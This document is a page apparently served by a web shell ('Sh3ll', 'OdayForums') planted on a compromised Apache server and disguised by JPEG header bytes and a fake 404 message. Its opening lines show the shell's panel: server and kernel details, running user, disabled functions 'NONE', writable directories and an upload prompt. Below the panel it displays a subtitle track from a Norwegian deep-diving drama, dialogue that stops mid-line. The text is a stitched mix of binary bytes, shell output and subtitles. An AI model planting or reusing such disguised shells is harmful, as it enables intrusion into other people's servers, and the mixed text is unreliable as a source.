����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c82a19e469dc-1552064926.vtt
WEBVTT - https://subtitletools.com

00:02:56.616 --> 00:02:59.517
Petter? Are you okay?

00:02:59.518 --> 00:03:01.455
Shall we stop?

00:03:03.455 --> 00:03:05.459
Hey.

00:03:06.459 --> 00:03:07.892
Bro?

00:03:07.893 --> 00:03:10.596
Stay awake.

00:03:31.484 --> 00:03:34.622
You fall down,
you're out of here.

00:03:36.622 --> 00:03:40.929
Answer me,
Petter, or I'll take you out.

00:03:43.929 --> 00:03:46.069
Okay.

00:03:56.375 --> 00:04:01.312
What's going on out there?
What's up with Leif?

00:04:01.313 --> 00:04:04.064
They won't take you out.

00:04:21.966 --> 00:04:25.102
They're yelling at each other.

00:04:25.103 --> 00:04:28.074
Bro? Pia wants a word with you.

00:04:29.074 --> 00:04:31.809
- Huh?
- Petter?

00:04:31.810 --> 00:04:33.677
- Hi.
- Hi.

00:04:33.678 --> 00:04:35.412
Put the cap back on.

00:04:35.413 --> 00:04:37.082
You're not registering
on the EEG.

00:04:37.083 --> 00:04:39.516
Why don't you come in
and put it on?

00:04:39.517 --> 00:04:41.386
Very nice.

00:04:41.387 --> 00:04:43.455
Change of plans.

00:04:43.456 --> 00:04:45.823
I need you to step into
the other chamber.

00:04:45.824 --> 00:04:50.929
- Don't break his heart, sir.
- No, no... you.

00:04:50.930 --> 00:04:53.931
I'm sorry, Mike,
I have to take you out.

00:04:53.932 --> 00:04:56.100
What the fuck
are you talking about?

00:04:56.101 --> 00:04:57.768
What did I do?
I didn't do shit.

00:04:57.769 --> 00:05:00.009
Please just do as you're told
for a change.

00:05:04.009 --> 00:05:05.910
Get into the other chamber

00:05:05.911 --> 00:05:07.596
or you're off the
entire program.

00:05:10.583 --> 00:05:12.484
Leif?

00:05:12.485 --> 00:05:16.821
Leif? Why was he taken out?

00:05:16.822 --> 00:05:22.658
Close the hatch. We're cleaning
out the American gas mix.

00:06:34.500 --> 00:06:36.636
I feel like shit.

00:06:37.636 --> 00:06:40.972
Continue pressurization.

00:06:40.973 --> 00:06:43.174
We're almost there.

00:06:43.175 --> 00:06:46.076
Four hundred and ninety-five.

00:06:46.077 --> 00:06:48.546
Is this normal?

00:06:48.547 --> 00:06:51.683
There's nothing
normal about this.

00:06:51.684 --> 00:06:54.051
Four hundred and ninety-six.

00:06:54.052 --> 00:06:57.942
That politician's here
with a cake.

00:07:17.942 --> 00:07:21.791
Who let that bird in here?

00:07:33.791 --> 00:07:38.229
- There's an albatross in here.
- No, it's a seagull.

00:07:38.230 --> 00:07:40.601
It's an albatross.

00:07:42.601 --> 00:07:45.203
I've seen them in the
Gulf of Mexico.

00:07:45.204 --> 00:07:48.278
The wings are different.

00:07:57.716 --> 00:07:59.190
What are they talking about?

00:08:07.892 --> 00:08:09.629
Goddamn it,
they're hallucinating.

00:08:10.028 --> 00:08:14.097
- Jørgen? Can you see the bird?
- What bird?

00:08:14.098 --> 00:08:16.244
Five hundred.

00:08:25.244 --> 00:08:28.646
My lungs are on fire.

00:08:28.647 --> 00:08:30.595
Let us handle the gas
next time, okay?

00:08:35.321 --> 00:08:38.056
Congratulations from
the directorate.

00:08:38.057 --> 00:08:43.001
You're the first Norwegians
to be pressurized to 500 meters.

00:08:50.001 --> 00:08:52.670
A world record for
simulated deep diving

00:08:52.671 --> 00:08:54.939
was recently set here.

00:08:54.940 --> 00:08:58.242
- Does it feel good?
- Yeah, it does.

00:08:58.243 --> 00:09:01.113
- Look at him!
- Martin.

00:09:04.048 --> 00:09:06.350
Dad's on TV.

00:09:06.351 --> 00:09:08.219
In very deep water, the

00:09:08.220 --> 00:09:09.954
air basically turns to poison

00:09:09.955 --> 00:09:13.992
inside the body, so a gas
needed to be developed

00:09:13.993 --> 00:09:16.694
to help the divers breathe
down in such depths.

00:09:16.695 --> 00:09:18.997
What's working with
with the Americans like?

00:09:18.998 --> 00:09:20.000
It's uncle!

00:09:21.000 --> 00:09:26.070
Exciting. They've got
a lot of experience with this.

00:09:26.071 --> 00:09:29.374
One of the diving
teams is Norwegian.

00:09:29.375 --> 00:09:33.411
I think we're in control
of the process.

00:09:33.412 --> 00:09:35.946
Norwegian authorities
wish to pipe the

00:09:35.947 --> 00:09:37.981
petroleum ashore.

00:09:37.982 --> 00:09:42.022
But first the divers must prove
they can work at such depths.

00:09:42.962 --> 00:09:45.856
Petter will go on a new test
dive led by the US company

00:09:45.857 --> 00:09:49.127
Deep Sea Diving tomorrow.

00:09:49.128 --> 00:09:52.696
320 meters below the surface,
they'll join two pipe sections

00:09:52.697 --> 00:09:55.899
in a habitat.

00:09:55.900 --> 00:09:59.771
What will it be like to reach
the ocean floor?

00:09:59.772 --> 00:10:02.008
It's what we've been
training for.

00:10:03.008 --> 00:10:08.079
Why we've done this experiment.
So we're looking forward to it.

00:10:08.080 --> 00:10:11.048
In the US, Ronald Reagan has...

00:10:11.049 --> 00:10:14.019
- Did you see Dad on TV?
- No, just Uncle.

00:10:15.019 --> 00:10:18.889
- It wasn't exactly about you.
- Sure it was!

00:10:18.890 --> 00:10:22.726
- He's the one they interviewed.
- Yeah yeah.

00:10:22.727 --> 00:10:27.208
- Yeah, but it wasn't about you.
- You're not mad at me?

00:10:37.208 --> 00:10:40.448
This next dive will be my last.

00:10:43.448 --> 00:10:45.383
- Because?
- I'm gonna become a

00:10:45.384 --> 00:10:47.923
diving supervisor.

00:10:50.923 --> 00:10:54.792
- I'll make loads of money.
- Been drinking paint?

00:10:54.793 --> 00:10:57.994
We make ten times what they do.

00:10:57.995 --> 00:11:01.132
We don't. They get to see their
family twenty times as

00:11:01.133 --> 00:11:04.101
much as we do.

00:11:04.102 --> 00:11:06.472
Is this Maria's idea?

00:11:07.472 --> 00:11:10.076
Nope.

00:11:12.076 --> 00:11:14.445
You're gonna dive until
you're sixty?

00:11:14.446 --> 00:11:16.880
Sure I will.

00:11:16.881 --> 00:11:19.282
You live on a boat.
Got no family.

00:11:19.283 --> 00:11:21.485
I've got you.

00:11:21.486 --> 00:11:25.523
But no kids.
All that will change.

00:11:25.524 --> 00:11:29.460
Then you'll see what I mean.

00:11:29.461 --> 00:11:32.533
Look ahead, Petter.

00:12:20.412 --> 00:12:22.814
Welcome aboard. I'm Ferris.

00:12:22.815 --> 00:12:24.181
Let's get below.

00:12:24.182 --> 00:12:25.883
Yeah. Give me a minute.

00:12:25.884 --> 00:12:28.385
Fellas, straight on through,
I'll join you in a minute.

00:12:28.386 --> 00:12:30.988
Boss? From your wife.

00:12:30.989 --> 00:12:34.325
- And from Marianne.
- What about me?

00:12:34.326 --> 00:12:35.927
Shut up.

00:12:35.928 --> 00:12:38.095
There's no doubt in my mind
that this is the right

00:12:38.096 --> 00:12:39.964
group of men

00:12:39.965 --> 00:12:43.334
but we still have to
prove it to the ministry.

00:12:43.335 --> 00:12:47.604
That's the sole point
of this verification dive.

00:12:47.605 --> 00:12:50.240
Three hundred twenty meters,
three man teams,

00:12:50.241 --> 00:12:52.909
twelve-hour shifts,
you know the drill.

00:12:52.910 --> 00:12:55.312
Focus on the job
right in front of you

00:12:55.313 --> 00:12:58.449
and we'll all end up
making a lot of money together.

00:12:58.450 --> 00:13:00.553
Who goes out first?

00:13:02.553 --> 00:13:05.455
- The Norwegians.
- Why?

00:13:05.456 --> 00:13:07.558
'Cause I'm saving you
for clean-up.

00:13:10.328 --> 00:13:12.864
First in the Norway Trench.

00:13:12.865 --> 00:13:14.532
English, mother fucker.

00:13:14.533 --> 00:13:16.177
He said you're an idiot.

00:13:31.917 --> 00:13:34.919
Team one, enter the bell.

00:13:43.629 --> 00:13:45.897
How're you feeling, boys?

00:13:45.898 --> 00:13:47.565
Feelin' good.

00:13:47.566 --> 00:13:49.466
- Never felt better.
- Excellent.

00:13:49.467 --> 00:13:53.237
Pete, you're first,
Jørgen will stay in the bell.

00:13:53.238 --> 00:13:54.238
Good luck, boys.

00:13:54.239 --> 00:13:57.621
You're the TV star, you know.

00:14:43.621 --> 00:14:46.157
All right, boys...

00:14:46.158 --> 00:14:49.995
Open gas supply, divers.

00:14:50.995 --> 00:14:53.698
- Gas open.
- You got the balls for this?

00:15:26.130 --> 00:15:29.440
Diver one out of the bell.

00:15:35.440 --> 00:15:38.304
Diver one leaving the basket.

00:16:07.304 --> 00:16:09.741
Petter?

00:16:10.741 --> 00:16:13.524
Petter?

00:16:25.524 --> 00:16:28.426
Petter?

00:16:28.427 --> 00:16:30.795
Have you landed?

00:16:30.796 --> 00:16:33.531
That's one
small step for a man...

00:16:33.532 --> 00:16:37.437
...but a huge leap for an
ordinary guy from the projects.

00:16:42.274 --> 00:16:45.780
Diver two near the basket.

00:17:22.780 --> 00:17:25.686
Do you have a visual?

00:17:28.686 --> 00:17:31.479
I have visual.

00:17:54.479 --> 00:17:57.163
Okay, you can enter
the habitats.

00:18:11.163 --> 00:18:14.502
Diver one inside the habitat.

00:18:18.502 --> 00:18:21.616
Diver two inside the habitat.

00:18:32.616 --> 00:18:34.652
Start pressurization.

00:18:34.653 --> 00:18:41.392
Thirty, forty,
forty-two, forty-six...

00:18:41.393 --> 00:18:45.333
- Closing the valve.
- Now the other side.

00:19:07.219 --> 00:19:10.923
We're blowing out the water.

00:19:38.415 --> 00:19:39.850
There's water seeping in.

00:19:39.851 --> 00:19:41.285
Okay.

00:19:41.286 --> 00:19:44.488
- Is it a lot?
- No, it's not much.

00:19:44.489 --> 00:19:48.027
We just need more pressure.
We'll fix it. Ready?

00:19:49.027 --> 00:19:51.362
Increase pressure by five bars.

00:19:51.363 --> 00:19:53.738
Increasing pressure.

00:20:11.715 --> 00:20:15.056
- Shut the valve, Petter!
- Turn it off!

00:20:18.056 --> 00:20:21.327
Knut? Petter?

00:20:22.327 --> 00:20:25.362
Report, damn it!

00:20:25.363 --> 00:20:28.535
Petter? We've lost contact!

00:20:30.535 --> 00:20:34.637
- I'm here.
- Focus on finding Knut!

00:20:34.638 --> 00:20:38.741
- Can you see him?
- I can't see!

00:20:38.742 --> 00:20:40.510
Knut! Knut!

00:20:40.511 --> 00:20:44.581
- He's here!
- Is he conscious?

00:20:44.582 --> 00:20:47.518
Bro! Bro!

00:20:47.519 --> 00:20:50.890
Can you get him to the surface?

00:20:51.890 --> 00:20:54.725
His mask is smashed!
It's smashed!

00:20:54.726 --> 00:20:57.393
Just take it off.

00:20:57.394 --> 00:21:01.731
- I'm removing his mask.
- Check his pulse.

00:21:01.732 --> 00:21:05.469
Bro! Knut!

00:21:05.470 --> 00:21:09.105
Petter?
Is he breathing?

00:21:09.106 --> 00:21:11.545
He's breathing!

00:21:13.545 --> 00:21:15.515
Tell us...

00:21:17.515 --> 00:21:21.485
Tell us what's going on!

00:21:21.486 --> 00:21:23.687
Don't move!
We'll send Jørgen down

00:21:23.688 --> 00:21:25.756
to help you.

00:21:25.757 --> 00:21:27.825
He won't make it!

00:21:27.826 --> 00:21:30.096
I'm giving him my mask.

00:21:32.096 --> 00:21:35.865
I'm giving him my mask.
Bro. Bro!

00:21:35.866 --> 00:21:38.602
I'm coming out now.

00:21:38.603 --> 00:21:41.070
You won't make it back
to the bell!

00:21:41.071 --> 00:21:43.574
Draw in the umbilical.

00:21:43.575 --> 00:21:48.144
No! You'll never make it
without a mask!

00:21:48.145 --> 00:21:51.594
You hear what I'm saying,
Petter? No!

00:22:02.594 --> 00:22:04.163
Petter?

00:22:06.163 --> 00:22:09.466
Jørgen? Pull in
Petter's umbilical.

00:22:09.467 --> 00:22:12.212
Copy that.
Pulling them in.

00:22:58.849 --> 00:23:01.530
Where's Knut?!

00:23:13.530 --> 00:23:16.533
Flood the bell, dammit!

00:23:16.534 --> 00:23:18.106
Flooding the bell.

00:23:23.106 --> 00:23:26.108
I've got him!

00:23:26.109 --> 00:23:27.945
I've got him.

00:23:29.180 --> 00:23:32.082
- You've got him?
- Got him!

00:23:32.083 --> 00:23:35.219
- Is he breathing?
- Bro?

00:23:35.220 --> 00:23:37.021
He's not breathing!

00:23:38.021 --> 00:23:40.893
Petter! Give him CPR.

00:23:44.761 --> 00:23:47.031
Come on, bro!
Hurry! Get us up!

00:23:48.031 --> 00:23:49.031
Close the hatch.

00:23:55.006 --> 00:23:58.644
- I got a seal!
- Get us up!

00:24:00.644 --> 00:24:03.849
You're not going anywhere!

00:24:05.849 --> 00:24:07.890
Not anywhere, bro!

00:24:11.890 --> 00:24:13.198
Come on.

00:24:22.901 --> 00:24:25.003
I blacked out.
What the hell happened?

00:24:26.003 --> 00:24:28.906
I don't know. I don't know!

00:24:57.969 --> 00:25:01.037
Get the hypo from
the equipment lock, Jørgen.

00:25:01.038 --> 00:25:02.145
Yes.

00:25:08.145 --> 00:25:13.791
Push it hard and deep.
As deep as it goes. Now, Petter!

00:25:20.791 --> 00:25:23.070
Nothing's happening.

00:25:33.070 --> 00:25:35.111
Bro.

00:25:40.111 --> 00:25:43.218
Come on, bro. Come on...

00:25:47.218 --> 00:25:50.124
That's enough.

00:25:53.124 --> 00:25:55.063
Petter...

00:25:59.063 --> 00:26:01.375
It's too late.

00:26:41.204 --> 00:26:43.415
What happened?

00:26:51.415 --> 00:26:54.055
I don't know.

00:26:57.055 --> 00:27:00.759
I'm so sorry.
That's really tough.

00:27:02.759 --> 00:27:05.394
Steady, steady.

00:27:05.395 --> 00:27:07.864
Maria, we're ready to go.

00:27:07.865 --> 00:27:11.802
- Ferris...
- Get me out of here, man.

00:27:11.803 --> 00:27:15.305
- As quick as you can.
- You know I can't do that.

00:27:15.306 --> 00:27:17.306
Put me on the emergency table...

00:27:17.307 --> 00:27:19.108
I can't take that chance.

00:27:19.109 --> 00:27:22.445
I'm afraid you'll get
decompression sickness.

00:27:22.446 --> 00:27:25.320
Sorry, you gotta stay in there
two more weeks.

00:28:00.183 --> 00:28:05.188
Did you notice anything
weird about the breathing gas?

00:28:05.189 --> 00:28:07.857
Or hear anything?

00:28:07.858 --> 00:28:12.062
I blacked out.
There must have been a gas cut.

00:28:12.063 --> 00:28:14.068
I know.

00:28:37.954 --> 00:28:41.362
Petter? How are you feeling?

00:28:44.362 --> 00:28:47.396
Jørgen says there was a cut.

00:28:47.397 --> 00:28:50.467
This is your responsibility,
Trond.

00:28:50.468 --> 00:28:54.171
- Careful now, Petter.
- Petter...

00:28:54.172 --> 00:28:56.541
I never said that.

00:28:57.541 --> 00:29:01.864
You said you heard how
I stopped breathing.

00:29:19.864 --> 00:29:22.097
Listen, Pete,
you need some sleep.

00:29:22.098 --> 00:29:24.204
Do yourself a favor
and take those pills.

00:29:37.548 --> 00:29:40.951
I wanna speak to Ferris.

00:29:40.952 --> 00:29:45.924
- Ferris isn't here.
- Where is he?

00:29:47.924 --> 00:29:50.527
We had a cut, I had no gas.

00:29:50.528 --> 00:29:52.996
I was out of it
before the explosion.

00:29:52.997 --> 00:29:55.431
Just try to relax,
we'll figure it out as soon as...

00:29:55.432 --> 00:29:57.267
There's nothing to figure out!
We know who controls

00:29:57.268 --> 00:29:58.936
the breathing gas.

00:29:59.854 --> 00:30:02.538
That's not true, I kept
my eye on the breathing gas.

00:30:02.539 --> 00:30:04.224
Then what do you think happened?

00:30:10.080 --> 00:30:13.556
You inflated the plug
until it blew up.

00:30:18.556 --> 00:30:22.659
Because I passed out!
Explain that!

00:30:22.660 --> 00:30:26.665
- This conversation is over.
- Explain it!

00:30:55.125 --> 00:30:59.231
Petter? My condolences.
You want Knut's briefcase?

00:31:01.231 --> 00:31:03.442
Trond?

00:31:11.442 --> 00:31:14.553
Trond?

00:31:22.553 --> 00:31:24.990
Ferris?

00:31:26.990 --> 00:31:29.332
I'll talk to you later.

00:31:34.332 --> 00:31:35.699
Where is Trond?

00:31:35.700 --> 00:31:38.634
He's not on board.
I sent him home.

00:31:38.635 --> 00:31:42.305
- Why?
- This touches everybody.

00:31:42.306 --> 00:31:44.308
Trond as well.

00:31:44.908 --> 00:31:46.977
Look, Pete, we can have
the best technology

00:31:46.978 --> 00:31:48.310
in the world,

00:31:48.311 --> 00:31:51.213
we can take every
precaution in the world,

00:31:51.214 --> 00:31:56.987
but still...
mistakes get made.

00:31:56.988 --> 00:31:58.250
Don't they?

00:32:26.250 --> 00:32:31.054
Listen to me, son, nothing's
gonna bring your brother back.

00:32:31.055 --> 00:32:33.088
Speculating, pointing fingers,
that's not gonna do

00:32:33.089 --> 00:32:35.091
anybody any good.

00:32:35.092 --> 00:32:37.126
Not Maria, not Martin,

00:32:37.127 --> 00:32:39.129
and certainly not the project.

00:32:39.130 --> 00:32:43.767
There's a hell of a lot at
stake here, you understand me?

00:32:43.768 --> 00:32:46.346
I'll take care of the press.

00:32:55.346 --> 00:32:58.213
Jeger!

00:32:58.214 --> 00:33:00.119
Jeger! Hi.

00:33:03.098 --> 00:33:05.255
- My condolences.
- What's the directorate

00:33:05.256 --> 00:33:07.056
gonna do?

00:33:07.057 --> 00:33:08.624
I don't understand, eh...

00:33:08.625 --> 00:33:12.295
About Trond Edvardsen.
He screwed up the breathing gas.

00:33:12.296 --> 00:33:15.297
- If there's any ambiguity...
- That cut should never

00:33:15.298 --> 00:33:17.633
have happened.

00:33:17.634 --> 00:33:20.537
We're going to investigate it
thoroughly. I promise.

00:33:20.538 --> 00:33:23.775
Look here.

00:33:24.775 --> 00:33:27.814
Call me anytime.

00:33:29.814 --> 00:33:34.550
This isn't what I ask for.
It's not what I want.

00:33:34.551 --> 00:33:37.287
No, I understand.

00:33:37.288 --> 00:33:40.190
So what are you gonna
do about it?

00:33:40.191 --> 00:33:42.659
Mortal accidents are
complex events.

00:33:42.660 --> 00:33:45.161
The supervisor disagrees.

00:33:45.162 --> 00:33:50.303
I know what he thinks.
I made no mistakes.

00:33:52.303 --> 00:33:57.710
Well, let's see what
the police have to say.

00:35:28.431 --> 00:35:30.635
Maria!

00:35:32.635 --> 00:35:34.340
Here.

00:35:36.340 --> 00:35:40.949
It needs new batteries.
Unscrew the bottom.

00:35:44.949 --> 00:35:47.987
- I'll get by.
- It wasn't my fault.

00:35:49.987 --> 00:35:52.856
It was an accident, okay?

00:36:29.994 --> 00:36:32.521
Hey! I wanna see the recording
from the accident.

00:36:33.030 --> 00:36:36.336
The video tape.

00:36:40.336 --> 00:36:43.409
I'd love to show it to you.

00:36:46.409 --> 00:36:50.613
- But there isn't any.
- "There isn't any"?

00:36:50.614 --> 00:36:52.848
Have you erased it?

00:36:52.849 --> 00:36:56.655
There wasn't any tape
in the recorder.

00:36:57.655 --> 00:37:02.325
- You expect me to believe that?
- Ask Leif, Ronald, Ferris.

00:37:02.326 --> 00:37:07.529
- I'll ask Jørgen. Where is he?
- On sick leave.

00:37:07.530 --> 00:37:09.698
Sick leave? Why?

00:37:09.699 --> 00:37:14.569
- I guess he's ill.
- Just let me see the tape.

00:37:14.570 --> 00:37:15.904
Shut the fuck up,

00:37:15.905 --> 00:37:17.372
you have nothing to
do with this.

00:37:17.373 --> 00:37:21.710
Petter.
You overinflated the plug.

00:37:21.711 --> 00:37:24.996
You can't change that.

00:37:38.996 --> 00:37:42.702
Hey! Jørgen!

00:37:44.702 --> 00:37:45.737
Hi.

00:37:47.737 --> 00:37:51.841
- Trond says you're sick.
- I've been a bit off.

00:37:51.842 --> 00:37:54.676
You're not sick.
You're working.

00:37:54.677 --> 00:37:57.615
I'm feeling better now.

00:37:59.615 --> 00:38:03.685
Has someone told you to
keep your mouth shut?

00:38:03.686 --> 00:38:05.955
Jørgen! Answer me.

00:38:05.956 --> 00:38:08.390
Why won't Trond show
me the tape?

00:38:08.391 --> 00:38:10.125
- What are you talking about?
- What happened?

00:38:10.126 --> 00:38:12.395
I don't know what you're talking
about. I had a cut!

00:38:12.396 --> 00:38:14.632
You heard it!

00:38:25.041 --> 00:38:28.076
Jørgen!

00:38:28.077 --> 00:38:31.647
Jørgen?

00:38:31.648 --> 00:38:34.850
Jørgen! Hey!

00:38:34.851 --> 00:38:37.893
Jørgen!

00:38:42.893 --> 00:38:44.862
Hey!

00:38:45.862 --> 00:38:50.032
- Something's wrong with Jørgen!
- Another seizure?

00:38:59.543 --> 00:39:03.546
Hi. I need a word with Leif
about Jørgen.

00:39:03.547 --> 00:39:06.816
- He gets seizures.
- I know he's on...

00:39:06.817 --> 00:39:11.687
Did he get one in the bell
while monitoring the gas?

00:39:11.688 --> 00:39:14.492
I don't know anything
about that.

00:39:16.492 --> 00:39:18.869
- Are you back?
- No.

00:39:30.139 --> 00:39:33.442
Leif? Hi.

00:39:33.443 --> 00:39:36.212
How long have you
known Jørgen's sick?

00:39:36.213 --> 00:39:39.080
What's wrong with him?

00:39:39.081 --> 00:39:42.185
Health is a private matter.

00:39:42.186 --> 00:39:45.221
His dad says he's had
several seizures.

00:39:45.222 --> 00:39:47.823
I need to do another
EEG test on you.

00:39:47.824 --> 00:39:50.058
Because?

00:39:50.059 --> 00:39:52.666
Because it's my job.

00:39:55.666 --> 00:39:58.901
Has Jørgen taken another test?

00:39:58.902 --> 00:40:00.903
- Leif?
- Yeah.

00:40:00.904 --> 00:40:03.805
Did you know Jørgen
was sick when you sent

00:40:03.806 --> 00:40:06.209
him down on that dive?

00:40:06.210 --> 00:40:10.078
- It wasn't my call.
- What do you mean?

00:40:10.079 --> 00:40:12.784
Ferris would
like to talk to you.

00:40:13.784 --> 00:40:16.690
- Leif...
- Now.

00:40:30.733 --> 00:40:35.563
Ronald, I'd like to see
Jørgen's EEG test.

00:41:00.563 --> 00:41:03.568
Rats seem to stand pressure
better than us.

00:41:05.568 --> 00:41:08.074
Okay, Jørgen's EEG test...

00:41:11.074 --> 00:41:14.748
See? Normal.

00:41:17.748 --> 00:41:19.549
I need a copy.

00:41:19.550 --> 00:41:24.153
Staff medical information
is confidential.

00:41:24.154 --> 00:41:25.888
It belongs to Deep Sea Diving,

00:41:25.889 --> 00:41:28.228
they co-funded the project,
so...

00:41:31.228 --> 00:41:32.995
Pete, please,

00:41:32.996 --> 00:41:35.064
if there was something
wrong here, I would tell you.

00:41:35.065 --> 00:41:36.302
Honestly.

00:41:38.302 --> 00:41:40.169
Tests like these are...

00:41:40.170 --> 00:41:42.971
They're really open
to interpretation.

00:41:42.972 --> 00:41:45.908
We also judge divers
on their performance.

00:41:45.909 --> 00:41:49.648
It really comes down
to how you feel.

00:41:52.648 --> 00:41:57.704
- So, how do you feel?
- Fine.

00:43:33.282 --> 00:43:35.123
Hey Ronald?

00:43:40.123 --> 00:43:41.862
Ronald?

00:43:49.766 --> 00:43:51.110
Are you there?

00:45:15.851 --> 00:45:19.821
You can read stuff into the
tests, like Leif did.

00:45:19.822 --> 00:45:24.125
- You can find anything.
- It says that Jørgen's ill.

00:45:24.126 --> 00:45:27.030
They're normal.
Only Leif sees the connection.

00:45:28.030 --> 00:45:30.431
What connection?
Jørgen's sick.

00:45:30.432 --> 00:45:32.868
Yeah.

00:45:32.869 --> 00:45:36.238
But medically speaking,
these charts don't say so.

00:45:36.239 --> 00:45:39.408
It's Leif's interpretation.

00:45:39.409 --> 00:45:40.942
You sent a sick
diver down there.

00:45:40.943 --> 00:45:42.410
No one knew he was sick.

00:45:42.411 --> 00:45:44.078
Leif obviously knew.

00:45:44.079 --> 00:45:47.982
He wrote the conclusion
in hindsight.

00:45:47.983 --> 00:45:51.153
This is a bad time for
you to get fired.

00:45:51.154 --> 00:45:54.522
They're preparing a
new test dive.

00:45:54.523 --> 00:45:57.560
- I won't dive now.
- You have to.

00:45:57.561 --> 00:46:00.596
The Petroleum Directorate
needs to keep

00:46:00.597 --> 00:46:04.099
one Norwegian diver
in the program.

00:46:37.099 --> 00:46:41.641
- Thank you.
- Thank you for meeting us.

00:46:45.641 --> 00:46:47.176
We need to talk.

00:46:47.177 --> 00:46:49.410
- Do you have an appointment?
- No.

00:46:49.411 --> 00:46:53.616
- Talk to my secretary.
- I've something to show you.

00:46:53.617 --> 00:46:57.222
The police are doing
what they can to...

00:47:00.222 --> 00:47:02.924
Jørgen manned
the bell at the time.

00:47:02.925 --> 00:47:05.132
He's sick.
It says so here.

00:47:09.132 --> 00:47:13.569
- Isn't this confidential?
- Just take a look.

00:47:13.570 --> 00:47:17.038
I can't interpret this. Can you?

00:47:17.039 --> 00:47:19.508
I think he caused
my brother's death.

00:47:19.509 --> 00:47:22.681
He gets seizures. I've seen it.

00:47:25.681 --> 00:47:29.183
- Have you shown this to anyone?
- No.

00:47:29.184 --> 00:47:32.620
Okay, I'll follow it up.
But we need

00:47:32.621 --> 00:47:36.091
to conclude the
verification dives.

00:47:36.092 --> 00:47:39.127
The mission isn't over yet.

00:47:39.128 --> 00:47:43.232
I won't dive until I know what
happened to my brother.

00:47:43.233 --> 00:47:45.117
Right. I understand.

00:48:54.737 --> 00:48:57.474
- Hi!
- Hi.

00:48:58.474 --> 00:49:00.509
- Uncle?
- The police called.

00:49:00.510 --> 00:49:02.748
They did?

00:49:04.748 --> 00:49:07.181
Hi. It's like this:

00:49:07.182 --> 00:49:11.720
Jørgen Heimland has taken
responsibility for the accident.

00:49:11.721 --> 00:49:14.288
He admits that he shut

00:49:14.289 --> 00:49:17.058
the wrong valve in
the diving bell.

00:49:17.059 --> 00:49:19.030
He did what?
Could you repeat that?

00:49:20.030 --> 00:49:23.031
He cut your breathing gas.

00:49:23.032 --> 00:49:25.801
- Okay. How's that?
- Human error.

00:49:25.802 --> 00:49:28.169
But was it a seizure?

00:49:28.170 --> 00:49:31.774
The report doesn't mention
any seizure.

00:49:31.775 --> 00:49:35.109
You don't know what happened?

00:49:35.110 --> 00:49:38.781
You can file a civil lawsuit
if you want to.

00:49:38.782 --> 00:49:42.517
- No.
- Why not?

00:49:42.518 --> 00:49:45.553
I couldn't bear it.

00:49:45.554 --> 00:49:50.800
- What does the report say?
- It says what I just said.

00:50:34.838 --> 00:50:39.143
- Is Jørgen here?
- Jørgen's gone to Spain.

00:50:41.143 --> 00:50:44.346
Tell him I wanna talk to him.

00:52:02.759 --> 00:52:04.661
You all right?

00:52:11.201 --> 00:52:12.637
What happened?

00:52:14.637 --> 00:52:18.806
You tried to kill me.
That's what happened.

00:52:18.807 --> 00:52:23.278
Couldn't avoid you.
You broke into me.

00:52:23.279 --> 00:52:26.351
You flipped that car
on your own.

00:52:29.351 --> 00:52:31.787
- Who asked you to steal these?
- What?

00:52:31.788 --> 00:52:33.788
These EEG tests.
Was it Leif?

00:52:33.789 --> 00:52:36.258
Where's mine?
I want mine.

00:52:36.259 --> 00:52:38.893
- Where the fuck is mine?
- Why do you want it?

00:52:38.894 --> 00:52:40.995
'Cause that shit could
end my career.

00:52:40.996 --> 00:52:43.698
You know your friend, Leif?

00:52:43.699 --> 00:52:45.801
He's a fucking hack.

00:52:45.802 --> 00:52:48.838
He says I'm
neurologically damaged.

00:54:08.784 --> 00:54:12.358
Petter? I need to talk to you.

00:54:16.358 --> 00:54:19.995
What are you doing here?

00:54:19.996 --> 00:54:22.531
Were you here earlier?

00:54:22.532 --> 00:54:24.966
What do you mean?
We need to talk.

00:54:24.967 --> 00:54:26.935
Just look at the boat.

00:54:26.936 --> 00:54:29.870
What are you doing here?

00:54:29.871 --> 00:54:32.640
I'm gonna find out
how Knut died.

00:54:32.641 --> 00:54:36.947
Okay. And you think
I've got the answer?

00:54:37.947 --> 00:54:42.718
The gas Ronald's given you
contains a secret component.

00:54:42.719 --> 00:54:47.555
And the goddamn Americans
won't say what it is.

00:54:47.556 --> 00:54:51.660
I made him stop using it
at the research center.

00:54:51.661 --> 00:54:57.534
But they call the shots at sea.
So Knut promised to help us.

00:54:59.534 --> 00:55:01.837
With what?

00:55:01.838 --> 00:55:06.707
He was gonna take a sample
of the American gas in the bell.

00:55:06.708 --> 00:55:10.544
- Didn't he tell you?
- What are you saying?

00:55:10.545 --> 00:55:13.547
What sort of bullshit is this?

00:55:13.548 --> 00:55:17.419
Did you find a gas sample
in Knut's briefcase?

00:55:17.420 --> 00:55:20.622
I'd know it if
he was taking a sample.

00:55:20.623 --> 00:55:23.991
Ronald's drugging you
with that gas.

00:55:23.992 --> 00:55:26.495
You wobbled around
like a drunkard.

00:55:26.496 --> 00:55:28.830
That's why you passed out.

00:55:28.831 --> 00:55:33.535
- Jørgen's taken the blame.
- He'd never turn off the gas.

00:55:33.536 --> 00:55:35.971
Listen to this.
Listen to Knut's voice.

00:55:35.972 --> 00:55:38.607
He didn't pass out.

00:55:38.608 --> 00:55:41.142
What's that?

00:55:41.143 --> 00:55:44.014
The tape from the accident.

00:55:45.014 --> 00:55:47.848
Trond said there
wasn't any tape.

00:55:47.849 --> 00:55:50.651
Trond?

00:55:50.652 --> 00:55:52.891
I took the tape.

00:55:55.891 --> 00:56:01.495
- Okay, you can turn it off now.
- It's enough now, Petter.

00:56:01.496 --> 00:56:03.732
Petter, stop it!
I'm stuck here!

00:56:03.733 --> 00:56:05.634
Petter?

00:56:05.635 --> 00:56:08.636
Knut has no problems
with the gas.

00:56:08.637 --> 00:56:11.773
- You were on the same feed.
- Shut the valve, Petter!

00:56:15.445 --> 00:56:17.645
Knut! Petter!

00:56:17.646 --> 00:56:22.931
- Report, God damn it!
- Petter? We've lost contact!

00:56:34.931 --> 00:56:40.103
Find the gas sample,
and I'll reveal who did this.

00:56:42.103 --> 00:56:47.844
Lift it up and get this
